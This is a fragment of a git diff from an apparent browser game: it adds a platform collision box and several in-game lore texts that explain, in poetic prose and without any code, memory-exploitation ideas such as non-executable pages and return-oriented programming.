+ ctx.scene.add(m);
+ // the collision is a flat run at the higher end — sloped AABBs are a lie you
+ // do not need to tell here, the player reads the beam and walks the shelf
+ const box = ctx.world.add((ax + bx) / 2, Math.min(ay, by), 0, Math.abs(bx - ax), Math.abs(by - ay) + 0.6, 3.4, 'plat');
+ S.bridges.push({ mesh: m, box });
+ A.blip(1600, 0.05, 0.05);
+ },
+
async unmount(ctx) {
A.stopPad();
ctx.link.glitch = 0;
diff --git a/src/philes.js b/src/philes.js
index c20b30c..fa51605 100644
--- a/src/philes.js
+++ b/src/philes.js
@@ -180,6 +180,47 @@ it is the single most forgiving thing in the whole field. everything else
demands you be exactly right. the sled says: near enough.`,
},
+ 'nx': {
+ title: 'W^X',
+ from: 'the page is writable or it is executable',
+ body: `your shellcode is still there. every byte of it is correct. the return
+address points at it exactly. and the processor will not run it, because the
+page it is on is marked writable, and a page that is writable is not
+executable, and it is never both.
+
+nothing you did was wrong. the rules changed underneath a thing that was
+already finished.`,
+ },
+
+ 'ret2libc': {
+ title: 'return-oriented programming',
+ from: 'what you do when you are not allowed to write code',
+ body: `you cannot introduce a single new instruction. fine.
+
+the program is already full of instructions. so is every library it loaded.
+and scattered through all of that are thousands of tiny fragments that
+happen to end in a return — two or three useful operations and then a jump
+back to whatever address is next on the stack.
+
+so you do not write a program. you write a *list of addresses*, and the
+machine walks the list, and out the other end comes a program that nobody
+ever compiled and that exists nowhere on disk.
+
+you did not smuggle in code. you rearranged theirs.`,
+ },
+
+ 'climb': {
+ title: 'the exam you did not know you were sitting',
+ from: 'the way back up',
+ body: `everything on the way down taught you a verb.
+
+seize the trunk. mind the wiper. count the reversal. do not read the ansi.
+ride the live half. do not stand on the red.
+
+none of it was ever explained twice. you were simply expected to have been
+paying attention, once, a long time ago, on the way past.`,
+ },
+
// ── hop 21–34 ──────────────────────────────────────────────────────────
'morris': {